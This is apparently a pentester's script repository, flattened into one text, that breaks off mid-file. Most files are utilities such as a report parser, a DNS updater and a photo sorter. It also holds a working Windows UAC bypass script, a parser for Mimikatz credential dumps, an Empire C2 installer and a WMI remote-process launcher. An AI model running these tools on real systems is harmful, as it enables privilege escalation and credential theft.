├── .gitattributes ├── ConvertFrom-MimiKatz.ps1 ├── Create-RemoteProcess.py ├── DynamicDNS_Cloudflare.py ├── Get-KerberosServiceTicket.ps1 ├── Get-NipperFilterTables.ps1 ├── Get-RandomLines.ps1 ├── Get-ScoreBoard.ps1 ├── InstallEmpire.sh ├── Invoke-Mimikatz.ps1 ├── Invoke-UACBypass.ps1 ├── NextCloud ├── SortPictures.py └── readme.md ├── Read-SecurityPolicy.ps1 ├── SQL Injection Example ├── CreateDatabase.sql ├── CreateTable.sql ├── Default.aspx ├── Default.aspx.cs └── web.config ├── SQL Server sys configurations checks.sql ├── Set-ADPhoto.ps1 ├── Sub Domain Enumeration.ps1 ├── UpdateIPs.py ├── add GPL v3 header └── Add-GPLHeader.ps1 ├── digital_ocean └── CreateWordpressSite.py ├── gencerts.sh ├── get_rockyou_pass.sh └── markdown xss test.md /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | -------------------------------------------------------------------------------- /ConvertFrom-MimiKatz.ps1: -------------------------------------------------------------------------------- 1 | 2 | Function ConvertFrom-MimiKatz { 3 | param($MimiKatzOutput,[switch]$IncludeComputer) 4 | 5 | begin 6 | { 7 | Function Extract-Value { 8 | param($RawString,$Item) 9 | 10 | $ItemValue = $RawString -split "\*\s$($Item).*:\s(.*?)`n" 11 | if(@($ItemValue).count -gt 1) 12 | { 13 | $ItemValue[1].trim() 14 | }else{ 15 | '(null)' 16 | } 17 | 18 | } 19 | Function Clean-Username { 20 | param($userName) 21 | if(-not [string]::IsNullOrEmpty($userName)) 22 | { 23 | $Result[$i].trim() 24 | }else{ 25 | '(null)' 26 | } 27 | } 28 | } 29 | 30 | process 31 | { 32 | $Result = $MimiKatzOutput -split "\*\sUsername\s:\s(.*?)`n" 33 | $Total = @($Result).Count / 2 34 | $i = 1 35 | 36 | $Output = 1..$Total | Foreach{ 37 | $Out = '' | Select-Object Username, Domain, NTLM, SHA1, Password 38 | $Out.Username = (Clean-Username -UserName $Result[$i]) 39 | $Out.Domain = (Extract-Value -RawString $Result[$i + 1] -Item Domain) 40 | $Out.NTLM = (Extract-Value -RawString $Result[$i + 1] -Item NTLM) 41 | $Out.SHA1 = (Extract-Value -RawString $Result[$i + 1] -Item SHA1) 42 | $Out.Password = (Extract-Value -RawString $Result[$i + 1] -Item Password) 43 | $Out 44 | 45 | $i = $i + 2 46 | 47 | } | Select-Object Username,Domain,NTLM,SHA1,Password -Unique 48 | } 49 | 50 | end 51 | { 52 | if(-not $IncludeComputer) 53 | { 54 | $Output = $Output | Where-Object { $_.Username -notlike '*$' } 55 | } 56 | 57 | $Output | Group-Object Username | Foreach { 58 | $Out = '' | Select-Object Username, Domain, NTLM, SHA1, Password 59 | $Out.Username = $_.Name -replace '(,\(null\)|\(null\),|\(null\))' 60 | $Out.Domain = (($_.Group | Select-Object -ExpandProperty Domain -Unique) -Join ',') -replace '(,\(null\)|\(null\),|\(null\))' 61 | $Out.NTLM = (($_.Group | Select-Object -ExpandProperty NTLM -Unique) -Join ',') -replace '(,\(null\)|\(null\),|\(null\))' 62 | $Out.SHA1 = (($_.Group | Select-Object -ExpandProperty SHA1 -Unique) -Join ',') -replace '(,\(null\)|\(null\),|\(null\))' 63 | $Out.Password = (($_.Group | Select-Object -ExpandProperty Password -Unique) -Join ',') -replace '(,\(null\)|\(null\),|\(null\))' 64 | $Out 65 | } | Where-Object { -not [string]::IsNullOrEmpty($_.Username) } 66 | } 67 | 68 | } 69 | -------------------------------------------------------------------------------- /Create-RemoteProcess.py: -------------------------------------------------------------------------------- 1 | import wmi 2 | 3 | ip = "1.1.1.1" 4 | username = "UsernameHere" 5 | password = "PasswordHere" 6 | c = wmi.WMI (computer=ip,user=username,password=password) 7 | 8 | process_id, return_value = c.Win32_Process.Create (CommandLine="notepad.exe") 9 | 10 | #result = process.Terminate () 11 | -------------------------------------------------------------------------------- /DynamicDNS_Cloudflare.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | api_key = '' 4 | api_email = 'email@gmail.com' 5 | api_zone = '' 6 | api_dns = '' 7 | sub_domain = 'sub.domain.example' 8 | 9 | # get the current external IP 10 | extip = requests.get('https://api.ipify.org/') 11 | extip = extip.content 12 | print('[*] Your external IP is ' + extip) 13 | 14 | # set the current IP 15 | url = 'https://api.cloudflare.com/client/v4/zones/' + api_zone + '/dns_records/' + api_dns 16 | data = { 17 | 'type' : 'A', 18 | 'name' : sub_domain, 19 | 'content' : extip, 20 | 'ttl' : 120, 21 | 'proxied' : False 22 | } 23 | head = { 24 | 'X-Auth-Email' : api_email, 25 | 'X-Auth-Key' : api_key, 26 | 'Content-Type' : 'application/json' 27 | } 28 | response = requests.put(url, json=data, headers=head) 29 | 30 | if response.status_code == requests.codes.ok: 31 | print('[+] External IP updated on Cloudflare.') 32 | else: 33 | print('[-] Failed to update external IP on Cloudflare.') 34 | -------------------------------------------------------------------------------- /Get-KerberosServiceTicket.ps1: -------------------------------------------------------------------------------- 1 | 2 | Function Get-KerberosServiceTicket { 3 | param($username) 4 | 5 | if($username -notlike '*@*'){ 6 | Write-Warning 'You must have username@domain.name' 7 | return 8 | } 9 | 10 | #region Start collecting data 11 | $WindowsVista = [System.Version]'6.0' 12 | $OS = Get-WmiObject win32_operatingsystem 13 | $OSVersion = [Version]$OS.Version 14 | 15 | # Collecting logons for anything older than Vista/2008 R1 is too slow 16 | if ($OSVersion.CompareTo($WindowsVista) -ge 0) 17 | { 18 | # Build filter to only output logon events in the last 24 hours 19 | $XMLFilter = @" 20 | 21 | 22 | 27 | 28 | 29 | "@ 30 | 31 | $Output = Get-WinEvent -FilterXml $XMLFilter | ForEach-Object { 32 | 33 | $Event = $_ 34 | 35 | $EventDateTime = $Event.TimeCreated 36 | $EventXML = [XML]$Event.ToXML() 37 | $EventData = $EventXML.Event.EventData.Data 38 | 39 | $Username = $EventData[0].'#text' 40 | $IPAddress = $EventData[6].'#text' 41 | 42 | 43 | $Result = New-Object PSObject 44 | $Result | Add-Member NoteProperty Username $Username 45 | $Result | Add-Member NoteProperty IPAddress $IPAddress 46 | $Result | Add-Member NoteProperty DateTime $EventDateTime 47 | $Result 48 | 49 | } | Select-Object -Unique 50 | 51 | }# End if OS is Vista or greater 52 | 53 | $Output 54 | 55 | 56 | } 57 | -------------------------------------------------------------------------------- /Get-NipperFilterTables.ps1: -------------------------------------------------------------------------------- 1 | # Created by Liam Glanfield 2 | # 16/03/2017 3 | # dirty script to extract Nipper filter tables as PS object, so you can export to CSV or HTML etc. 4 | # update: now includes a function to generate the vulnerability table 5 | # required input is a folder of Nipper XML files 6 | 7 | Function Get-NipperVulnerabilityTable { 8 | param($InputFolder) 9 | 10 | begin 11 | { 12 | # grab the new line obj 13 | $nl = [Environment]::NewLine 14 | 15 | try 16 | { 17 | $Files = Get-ChildItem -Path $InputFolder -Filter *.xml -Recurse 18 | # wrap in @() to support PowerShell v2 19 | $FileCount = @($Files).Count 20 | $i = 1 21 | } 22 | catch 23 | { 24 | throw 'InputFolder not found.' 25 | } 26 | 27 | 28 | Function Build-NipperTable { 29 | param($Tables) 30 | 31 | if(@($Tables).count -eq 0) 32 | { 33 | return 34 | } 35 | 36 | # Convert XML mess to PS object 37 | Foreach($Table IN $Tables) 38 | { 39 | $Headings = $Table.headings.heading 40 | Foreach($Row IN $Table.tablebody.tablerow) 41 | { 42 | $Out = '' | Select-Object $Headings 43 | 0..(@($Headings).count - 1) | %{ $Out.$($Headings[$_]) = (Get-ItemData ($Row.tablecell[$_].item)) } 44 | $Out 45 | } 46 | } 47 | 48 | } 49 | 50 | } 51 | 52 | 53 | process 54 | { 55 | Foreach($File in $Files) 56 | { 57 | $XML = [xml](Get-Content $File.fullname) 58 | $VulnAudit = $XML.document.report.part | ?{ $_.title -eq 'Vulnerability Audit' } 59 | $VulnConclusions = $VulnAudit.section | ?{ $_.title -eq 'Conclusions' } 60 | $VulnTable = $VulnConclusions.table | ?{ $_.title -eq 'Vulnerability audit summary findings' } 61 | $VulnTable = Build-NipperTable -Tables $VulnTable 62 | 63 | Foreach($Row in $VulnTable) 64 | { 65 | $Out = '' | Select-Object 'Affected Devices', Vulnerability, 'CVSSv2 Score', Rating 66 | $Out.'Affected Devices' = $Row.'Affected Devices' -join $nl 67 | $Out.Vulnerability = $Row.Vulnerability 68 | $Out.'CVSSv2 Score' = $Row.'CVSSv2 Score' 69 | $Out.Rating = $Row.Rating 70 | $Out 71 | } 72 | } 73 | } 74 | } 75 | 76 | 77 | Function Get-NipperFilterTables { 78 | param($InputFolder,$OutputFolder=$false) 79 | 80 | begin 81 | { 82 | try 83 | { 84 | $Files = Get-ChildItem -Path $InputFolder -Filter *.xml -Recurse 85 | # wrap in @() to support PowerShell v2 86 | $FileCount = @($Files).Count 87 | $i = 1 88 | } 89 | catch 90 | { 91 | throw 'InputFolder not found.' 92 | } 93 | 94 | if($OutputFolder) 95 | { 96 | if(-not (Test-Path $OutputFolder)) 97 | { 98 | throw "$OutputFolder - path not found." 99 | } 100 | } 101 | 102 | Function Get-ItemData { 103 | param($node) 104 | if($node.'#text') 105 | { 106 | return $node.'#text' 107 | }else{ 108 | return $node 109 | } 110 | } 111 | 112 | Function Build-NipperTable { 113 | param($Tables,$Title) 114 | 115 | if(@($Tables).count -eq 0) 116 | { 117 | return 118 | } 119 | 120 | # Convert XML mess to PS object 121 | $Results = Foreach($Table IN $Tables) 122 | { 123 | $Headings = $Table.headings.heading 124 | Foreach($Row IN $Table.tablebody.tablerow) 125 | { 126 | $Out = '' | Select-Object $Headings 127 | 0..(@($Headings).count - 1) | %{ $Out.$($Headings[$_]) = (Get-ItemData ($Row.tablecell[$_].item)) } 128 | $Out | Select-Object @{n='Table';e={$Table.title}},* 129 | } 130 | 131 | } 132 | 133 | # Clean up and return 134 | Foreach($Item in $Results) 135 | { 136 | if($Item.Table -like 'Extended Access Control List*') 137 | { 138 | $FilterComment = $Item.Table.split(' ')[5..$(@($Item.Table.split(' ')).count -3)] -join ' ' 139 | $FilterACL = $Item.Table.split(' ')[4] 140 | } 141 | elseif($Item.Table -like 'Extended ACL*') 142 | { 143 | $FilterComment = $Item.Table.split(' ')[3..$(@($Item.Table.split(' ')).count -3)] -join ' ' 144 | $FilterACL = $Item.Table.split(' ')[2] 145 | } 146 | else 147 | { 148 | # no idea, so just spit out the raw and forget cutting it up 149 | $FilterComment = $Item.Table 150 | } 151 | $FilterHostname = $Item.Table.split(' ')[$(@($Item.Table.split(' ')).count -1)] 152 | 153 | 154 | $Out = '' | Select-Object Host, ACL, Rule, Active, Action, Protocol, Source, 'Src Port', Destination, 'Dst Port', Service, Log, 'Issue Title', Comment 155 | $Out.Host = $FilterHostname 156 | $Out.ACL = $FilterACL 157 | $Out.Rule = $Item.Rule 158 | $Out.Active = $Item.Active 159 | $Out.Action = $Item.Action 160 | $Out.Protocol = $Item.Protocol 161 | $Out.Source = $Item.Source 162 | $Out.'Src Port' = $Item.'Src Port' 163 | $Out.Destination = $Item.Destination 164 | $Out.'Dst Port' = $Item.'Dst Port' 165 | $Out.Service = $Item.Service 166 | $Out.Log = $Item.Log 167 | $Out.'Issue Title' = $Title 168 | $Out.Comment = $FilterComment 169 | $Out 170 | } 171 | 172 | } 173 | 174 | 175 | 176 | } 177 | 178 | process 179 | { 180 | $Data = Foreach($File in $Files) 181 | { 182 | # convert to XML object 183 | $XML = [xml]($File | Get-Content) 184 | 185 | # Grab a list of filter tables 186 | $FitlerTablesToExport = $XML.document.contents.tables.content | where-object { $_.ref -like 'FILTER*' } | Select-Object -ExpandProperty index 187 | 188 | # Process each table in the report 189 | Foreach($ReportSection in $XML.document.report.part) 190 | { 191 | Foreach($SectionDetail in $ReportSection.section) 192 | { 193 | # grab the issue title 194 | $SectionTitle = $SectionDetail.title 195 | # yes Nipper XML is horrible to work with, could of done this better maybe *shrugs* 196 | Foreach($SectionDetailPart in $SectionDetail.section) 197 | { 198 | $TablesFiltered = $SectionDetailPart.table | Where-Object { $FitlerTablesToExport -Contains $_.index } 199 | if($TablesFiltered) 200 | { 201 | Build-NipperTable -Tables $TablesFiltered -Title $SectionTitle 202 | } 203 | } 204 | } 205 | } 206 | } 207 | 208 | if($OutputFolder) 209 | { 210 | # Save to CSV files based on issue type 211 | # first all filter rules 212 | $Data | Where-Object { $_.'Issue Title' -like 'Filter*Rule*' } | Export-Csv (Join-Path $OutputFolder 'FilterRules.csv') -NoTypeInformation 213 | # Now save the rest 214 | $Data | Where-Object { $_.'Issue Title' -notlike 'Filter*Rule*' } | Group-Object 'Issue Title' | Foreach { 215 | $Item = $_ 216 | $_.group | Export-Csv (Join-Path $OutputFolder "$($Item.name.Replace(' ','')).csv") -NoTypeInformation 217 | } 218 | 219 | }else{ 220 | $Data 221 | } 222 | } 223 | 224 | } 225 | -------------------------------------------------------------------------------- /Get-RandomLines.ps1: -------------------------------------------------------------------------------- 1 | Function Get-RandomLines { 2 | Param( 3 | # The filename can be relative or full path 4 | [Parameter(Mandatory = $true, 5 | ValueFromPipelineByPropertyName = $true, 6 | ValueFromPipeline = $true, 7 | Position = 0)] 8 | [Alias('FullName','F')] 9 | [string]$FileName, 10 | # The value of the percentage 11 | [Parameter(Mandatory = $false, 12 | Position = 1)] 13 | [Alias('P')] 14 | [int]$Percentage = 50) 15 | 16 | # Process file 17 | Process { 18 | 19 | # Check file exists 20 | if(-not (Test-Path $FileName)){ 21 | Write-Error 'Unable to find file!' -TargetObject $FileName 22 | return 23 | } 24 | 25 | # Get unquie contents 26 | $Content = Get-Content $FileName | Select-Object -Unique 27 | 28 | # Calculate percentages and values 29 | $OnePercent = 100 / $Content.Count 30 | $AmountNeeded = $OnePercent * $Percentage 31 | 32 | # Check percentage against line count 33 | if($AmountNeeded -gt $Content.Count){ 34 | Write-Error 'This percentage requirement will send you into a deep black hole!' -TargetObject "$AmountNeeded%" 35 | return 36 | } 37 | 38 | 39 | 40 | 41 | # Random select X amount of lines 42 | [int[]]$SelectedLines = @() 43 | while($SelectedLines.Count -ne $AmountNeeded){ 44 | 45 | # Get random number up to line count 46 | $Rand = Get-Random -Minimum 0 -Maximum ($Content.Count - 1) 47 | 48 | # Check if line has already been used if not add to array 49 | if($SelectedLines -notcontains $Rand){ 50 | $SelectedLines += $Rand 51 | } 52 | } 53 | 54 | # Output X amount of unquie lines based on percentage 55 | $Content[$SelectedLines] 56 | 57 | } 58 | 59 | 60 | } -------------------------------------------------------------------------------- /Get-ScoreBoard.ps1: -------------------------------------------------------------------------------- 1 |  2 | Function Get-ScoreBoard { 3 | param([string]$TeamName=[string]::Empty,[int]$SelectTop=0) 4 | 5 | begin { 6 | 7 | # Convert scoreboard table into native object for easy processing 8 | 9 | # Download webpage and extract all contents of tbody then build an XML object 10 | $Webpage = (Invoke-WebRequest https://ctf.internetwache.org/scoreboard).Content 11 | $Regex = [regex]"(.|\n)*?" 12 | $Results = ([xml]($regex.Match($webpage).Value)).tbody.tr 13 | 14 | # Loop through the XML object and build a cleaned PS custom object 15 | # Sort by position and team to match website output 16 | $Results = $Results | Foreach { 17 | $Out = '' | Select-Object Position, Team, Score 18 | $Out.Position = [int]($_.td[0]) 19 | $Out.Team = [string]($_.td[1].Trim()) 20 | $Out.Score = [int]($_.td[2]) 21 | $Out 22 | } | Sort-Object -Property Position, Team 23 | 24 | } 25 | 26 | process { 27 | 28 | # if team name given filter on team name 29 | # You could do team* to return all starting with team, * for wildcard 30 | if($TeamName -ne [string]::Empty){ 31 | $Results = $Results | Where-Object { $_.Team -like $TeamName } 32 | } 33 | 34 | # if select top # is given return the top # of results 35 | if($SelectTop -gt 0){ 36 | $Results = $Results | Select-Object -First $SelectTop 37 | } 38 | 39 | } 40 | 41 | end { 42 | 43 | # return results 44 | $Results 45 | 46 | } 47 | 48 | } 49 | 50 | 51 | Function Invoke-ScoreBoardSummary { 52 | param( 53 | [string]$TeamName, 54 | [ValidateSet('html', 'text', IgnoreCase = $true)] 55 | [string]$Format='text', 56 | [int]$SelectTop=10 57 | ) 58 | 59 | Begin { 60 | 61 | $Results = Get-ScoreBoard -SelectTop 10 62 | $TeamResults = Get-ScoreBoard -TeamName $TeamName 63 | $TeamPosition = $TeamResults[0].Position 64 | $TeamScore = $TeamResults[0].Score 65 | 66 | } 67 | 68 | process { 69 | 70 | 71 | if($Format -eq 'text'){ 72 | $Output = "Internetwache CTF 2016 - Score Board Update`r`n`r`n" 73 | $Output += "-- Top $SelectTop Teams --`r`n" 74 | $Output += "------------------" 75 | $Output += $Results | Format-Table -AutoSize | Out-String 76 | $Output += "-- $TeamName --`r`n" 77 | $Output += (1..($TeamName.Length + 6) | %{ '-' }) -join '' 78 | $Output += "`r`n" 79 | $Output += "Current Position: $TeamPosition`r`n" 80 | $Output += "Current Score: $TeamScore" 81 | } 82 | if($Format -eq 'html'){ 83 | $Output = "Internetwache CTF 2016 - Score Board Update

" 84 | $Output += "Top 10 Teams
" 85 | $Output += $Results | ConvertTo-Html -Fragment | Out-String 86 | $Output += "
" 87 | $Output += "$TeamName
" 88 | $Output += "Current Position: $TeamPosition
" 89 | $Output += "Current Score:     $TeamScore" 90 | } 91 | 92 | } 93 | 94 | end { 95 | 96 | $Output 97 | 98 | } 99 | 100 | } -------------------------------------------------------------------------------- /InstallEmpire.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | apt update 4 | apt install python python-pip -y 5 | pip install --upgrade pip 6 | hash -d pip 7 | 8 | apt remove python-urllib3 9 | pip install 'urllib3<1.23,>=1.21.1' 10 | 11 | git clone https://github.com/EmpireProject/Empire 12 | cd Empire/setup 13 | export STAGING_KEY="RANDOM" 14 | ./install.sh 15 | -------------------------------------------------------------------------------- /Invoke-UACBypass.ps1: -------------------------------------------------------------------------------- 1 | # https://tyranidslair.blogspot.co.uk/2017/05/exploiting-environment-variables-in.html 2 | 3 | Function Invoke-UACBypass { 4 | param($cmd="powershell.exe") 5 | 6 | Set-ItemProperty -Path HKCU:\Environment -Name windir -Value "cmd /C $cmd && REM" -Force 7 | Invoke-Expression "schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I" 8 | Start-Sleep -Seconds 10 9 | Remove-ItemProperty -Path HKCU:\Environment -Name windir -Force 10 | 11 | } 12 | -------------------------------------------------------------------------------- /NextCloud/SortPictures.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import exifread 3 | import datetime 4 | import hashlib 5 | import os 6 | import shutil 7 | import subprocess 8 | 9 | # config no trailing slashes please 10 | source_path = '/media/drivemount/user/files/PhotosToSort' 11 | destin_path = '/media/drivemount/user/files/Photos' 12 | 13 | # check if destination path is existing create if not 14 | if not os.path.exists(destin_path): 15 | os.makedirs(destin_path) 16 | 17 | # file hash function 18 | def hash_file(filename): 19 | 20 | # make a hash object 21 | h = hashlib.sha1() 22 | 23 | # open file for reading in binary mode 24 | with open(filename,'rb') as file: 25 | 26 | # loop till the end of the file 27 | chunk = 0 28 | while chunk != b'': 29 | # read only 1024 bytes at a time 30 | chunk = file.read(1024) 31 | h.update(chunk) 32 | 33 | # return the hex representation of digest 34 | return h.hexdigest() 35 | 36 | # picture date taken function 37 | def date_taken_info(filename): 38 | # Read file 39 | open_file = open(filename, 'rb') 40 | 41 | # Return Exif tags 42 | tags = exifread.process_file(open_file, stop_tag='Image DateTime') 43 | 44 | try: 45 | # Grab date taken 46 | datetaken_string = tags['Image DateTime'] 47 | datetaken_object = datetime.datetime.strptime(datetaken_string.values, '%Y:%m:%d %H:%M:%S') 48 | 49 | # Date 50 | day = str(datetaken_object.day).zfill(2) 51 | month = str(datetaken_object.month).zfill(2) 52 | year = str(datetaken_object.year) 53 | # Time 54 | second = str(datetaken_object.second).zfill(2) 55 | minute = str(datetaken_object.minute).zfill(2) 56 | hour = str(datetaken_object.hour).zfill(2) 57 | 58 | # New Filename 59 | output = [day,month,year,day + month + year + '-' + hour + minute + second] 60 | return output 61 | 62 | except: 63 | return None 64 | 65 | # get all picture files from directory and process 66 | for file in os.listdir(source_path): 67 | if file.endswith('.jpg'): 68 | filename = source_path + os.sep + file 69 | dateinfo = date_taken_info(filename) 70 | try: 71 | out_filepath = destin_path + os.sep + dateinfo[2] + os.sep + dateinfo[1] 72 | out_filename = out_filepath + os.sep + dateinfo[3] + '.jpg' 73 | 74 | # check if destination path is existing create if not 75 | if not os.path.exists(out_filepath): 76 | os.makedirs(out_filepath) 77 | 78 | # copy the picture to the organised structure 79 | shutil.copy2(filename,out_filename) 80 | 81 | # verify if file is the same and display output 82 | if hash_file(filename) == hash_file(out_filename): 83 | print 'File copied with success to ' + out_filename 84 | os.remove(filename) 85 | else: 86 | print 'File failed to copy :( ' + filename 87 | 88 | except: 89 | print 'File has no exif data skipped ' + filename 90 | 91 | 92 | # initate a scan 93 | subprocess.Popen("php /var/www/html/nextcloud/console.php files:scan --all", shell=True, stdout=subprocess.PIPE) 94 | -------------------------------------------------------------------------------- /NextCloud/readme.md: -------------------------------------------------------------------------------- 1 | Simple script I wrote for https://nextcloud.com/, runs on my server and sorts my photos as I drop them into the PhotosToSort directory. 2 | 3 | If you encrypt the files at rest this obviously won't work. 4 | 5 | Need to install exifread module also https://pypi.python.org/pypi/ExifRead 6 | 7 | Warning: This will overwrite a picture if the file name clashes, it's on my todo list to fix that! :) 8 | -------------------------------------------------------------------------------- /Read-SecurityPolicy.ps1: -------------------------------------------------------------------------------- 1 | # Function taken with thanks from https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/ 2 | function Get-IniContent ($filePath) 3 | { 4 | $ini = @{} 5 | switch -regex -file $FilePath 6 | { 7 | “^\[(.+)\]” # Section 8 | { 9 | $section = $matches[1] 10 | $ini[$section] = @{} 11 | $CommentCount = 0 12 | } 13 | “^(;.*)$” # Comment 14 | { 15 | $value = $matches[1] 16 | $CommentCount = $CommentCount + 1 17 | $name = “Comment” + $CommentCount 18 | $ini[$section][$name] = $value 19 | } 20 | “(.+?)\s*=(.*)” # Key 21 | { 22 | $name,$value = $matches[1..2] 23 | $ini[$section][$name] = $value 24 | } 25 | } 26 | return $ini 27 | } 28 | 29 | # Function to create a new security object 30 | Function New-SecObj { 31 | Param($SettingType,$Name,$DisplayName,$RawValue,$Value) 32 | 33 | $Out = '' | Select-Object SettingType, Name, DisplayName, RawValue, Value 34 | $Out.SettingType = $SettingType 35 | $Out.Name = $Name 36 | $Out.DisplayName = $DisplayName 37 | $Out.RawValue = $RawValue 38 | $Out.Value = $Value 39 | $Out 40 | 41 | } 42 | 43 | # Export the security policy 44 | $ExportedPolicy = (Join-Path $env:TEMP SecurityPolicyExport.inf) 45 | 46 | # Run the export of the security policy 47 | $null = Invoke-Expression "secedit /export /cfg $ExportedPolicy" 48 | 49 | # Check if successful or not 50 | if($LASTEXITCODE -eq 0){ 51 | # Successful so grab info 52 | $global:SecPol = Get-IniContent $ExportedPolicy 53 | 54 | # Convert to security policy to objects as it makes life easier 55 | $SystemAccess = New-Object psobject -Property $SecPol.'System Access' 56 | $AuditPolicy = New-Object psobject -Property $SecPol.'Event Audit' 57 | 58 | # Create empty array to store objects 59 | $FinalOutput = @() 60 | 61 | # Password Policy 62 | $FinalOutput += New-SecObj -SettingType PasswordPolicy -Name EnforcePasswordHistory -RawValue ([int]($SystemAccess.PasswordHistorySize)) -Value ([int]($SystemAccess.PasswordHistorySize)) 63 | $FinalOutput += New-SecObj -SettingType PasswordPolicy -Name MaximumPasswordAge -RawValue ([int]($SystemAccess.MaximumPasswordAge)) -Value ([int]($SystemAccess.MaximumPasswordAge)) 64 | $FinalOutput += New-SecObj -SettingType PasswordPolicy -Name MinimumPasswordAge -RawValue ([int]($SystemAccess.MinimumPasswordAge)) -Value ([int]($SystemAccess.MinimumPasswordAge)) 65 | $FinalOutput += New-SecObj -SettingType PasswordPolicy -Name MinimumPasswordLength -RawValue ([int]($SystemAccess.MinimumPasswordLength)) -Value ([int]($SystemAccess.MinimumPasswordLength)) 66 | $FinalOutput += New-SecObj -SettingType PasswordPolicy -Name PasswordComplexity -RawValue ([int]($SystemAccess.PasswordComplexity)) -Value ([bool]([int]($SystemAccess.PasswordComplexity))) 67 | $FinalOutput += New-SecObj -SettingType PasswordPolicy -Name ReversibleEncryption -RawValue ([int]($SystemAccess.ClearTextPassword)) -Value ([bool]([int]($SystemAccess.ClearTextPassword))) 68 | 69 | # Lockout Policy 70 | $FinalOutput += New-SecObj -SettingType LockoutPolicy -Name LockoutDuration -RawValue ([int]($SystemAccess.LockoutDuration)) -Value ([int]($SystemAccess.LockoutDuration)) 71 | $FinalOutput += New-SecObj -SettingType LockoutPolicy -Name LockoutThreshold -RawValue ([int]($SystemAccess.LockoutBadCount)) -Value ([int]($SystemAccess.LockoutBadCount)) 72 | $FinalOutput += New-SecObj -SettingType LockoutPolicy -Name ResetLockoutCount -RawValue ([int]($SystemAccess.ResetLockoutCount)) -Value ([int]($SystemAccess.ResetLockoutCount)) 73 | 74 | # Audit Policy (legacy) 75 | function AuditType { 76 | param($RawValue) 77 | switch($RawValue) 78 | { 79 | 0 {"No Auditing"} 80 | 1 {"Success"} 81 | 2 {"Failure"} 82 | 3 {"Success, Failure"} 83 | } 84 | } 85 | 86 | $FinalOutput += New-SecObj -SettingType AuditPolicy -Name AuditAccountLogon -RawValue ([int]($AuditPolicy.AuditAccountLogon)) -Value (AuditType ([int]($AuditPolicy.AuditAccountLogon))) 87 | $FinalOutput += New-SecObj -SettingType AuditPolicy -Name AuditAccountManage -RawValue ([int]($AuditPolicy.AuditAccountManage)) -Value (AuditType ([int]($AuditPolicy.AuditAccountManage))) 88 | $FinalOutput += New-SecObj -SettingType AuditPolicy -Name AuditDSAccess -RawValue ([int]($AuditPolicy.AuditDSAccess)) -Value (AuditType ([int]($AuditPolicy.AuditDSAccess))) 89 | $FinalOutput += New-SecObj -SettingType AuditPolicy -Name AuditLogonEvents -RawValue ([int]($AuditPolicy.AuditLogonEvents)) -Value (AuditType ([int]($AuditPolicy.AuditLogonEvents))) 90 | $FinalOutput += New-SecObj -SettingType AuditPolicy -Name AuditObjectAccess -RawValue ([int]($AuditPolicy.AuditObjectAccess)) -Value (AuditType ([int]($AuditPolicy.AuditObjectAccess))) 91 | $FinalOutput += New-SecObj -SettingType AuditPolicy -Name AuditPolicyChange -RawValue ([int]($AuditPolicy.AuditPolicyChange)) -Value (AuditType ([int]($AuditPolicy.AuditPolicyChange))) 92 | $FinalOutput += New-SecObj -SettingType AuditPolicy -Name AuditPrivilegeUse -RawValue ([int]($AuditPolicy.AuditPrivilegeUse)) -Value (AuditType ([int]($AuditPolicy.AuditPrivilegeUse))) 93 | $FinalOutput += New-SecObj -SettingType AuditPolicy -Name AuditProcessTracking -RawValue ([int]($AuditPolicy.AuditProcessTracking)) -Value (AuditType ([int]($AuditPolicy.AuditProcessTracking))) 94 | $FinalOutput += New-SecObj -SettingType AuditPolicy -Name AuditSystemEvents -RawValue ([int]($AuditPolicy.AuditSystemEvents)) -Value (AuditType ([int]($AuditPolicy.AuditSystemEvents))) 95 | 96 | # Security Options (work in progress) 97 | function EorD { 98 | param($RawValue) 99 | 100 | switch($RawValue) 101 | { 102 | 0 {"Disabled"} 103 | 1 {"Enabled"} 104 | } 105 | 106 | } 107 | 108 | # Process MS account block status 109 | if($SecPol.'Registry Values'.'MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoConnectedUser'){ 110 | $BlockMSAccountsRaw = $SecPol.'Registry Values'.'MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoConnectedUser'.Split(',')[1] 111 | $BlockMSAccountsValue = switch($BlockMSAccountsRaw) 112 | { 113 | 0 {"This policy is disabled"} 114 | 1 {"Users can't add Microsoft accounts"} 115 | 3 {"Users can't add or log on with Microsoft accounts"} 116 | } 117 | }else{ 118 | $BlockMSAccountsRaw = -1 119 | $BlockMSAccountsValue = "Not Defined" 120 | } 121 | 122 | # console password use 123 | $LimitBlankPasswordUse = $SecPol.'Registry Values'.'MACHINE\System\CurrentControlSet\Control\Lsa\LimitBlankPasswordUse'.Split(',')[1] 124 | 125 | 126 | $FinalOutput += New-SecObj -SettingType SecurityOptions:Accounts -Name AdminAccountStatus -DisplayName 'Administrator account status' -RawValue ([int]($SystemAccess.EnableAdminAccount)) -Value (EorD ([int]($SystemAccess.EnableAdminAccount))) 127 | $FinalOutput += New-SecObj -SettingType SecurityOptions:Accounts -Name BlockMSAccounts -DisplayName 'Block Microsoft accounts' -RawValue ([int]($BlockMSAccountsRaw)) -Value $BlockMSAccountsValue 128 | $FinalOutput += New-SecObj -SettingType SecurityOptions:Accounts -Name GuestAccountStatus -DisplayName 'Guest account status' -RawValue ([int]($SystemAccess.EnableGuestAccount)) -Value (EorD ([int]($SystemAccess.EnableGuestAccount))) 129 | $FinalOutput += New-SecObj -SettingType SecurityOptions:Accounts -Name LimitBlankPasswordUse -DisplayName 'Limit local account use of blank passwords to console logon only' -RawValue ([int]($LimitBlankPasswordUse)) -Value (EorD ([int]($LimitBlankPasswordUse))) 130 | $FinalOutput += New-SecObj -SettingType SecurityOptions:Accounts -Name RenameAdministrator -DisplayName 'Rename administrator account' -RawValue ([string]($SystemAccess.NewAdministratorName).Replace('"','').trim()) -Value 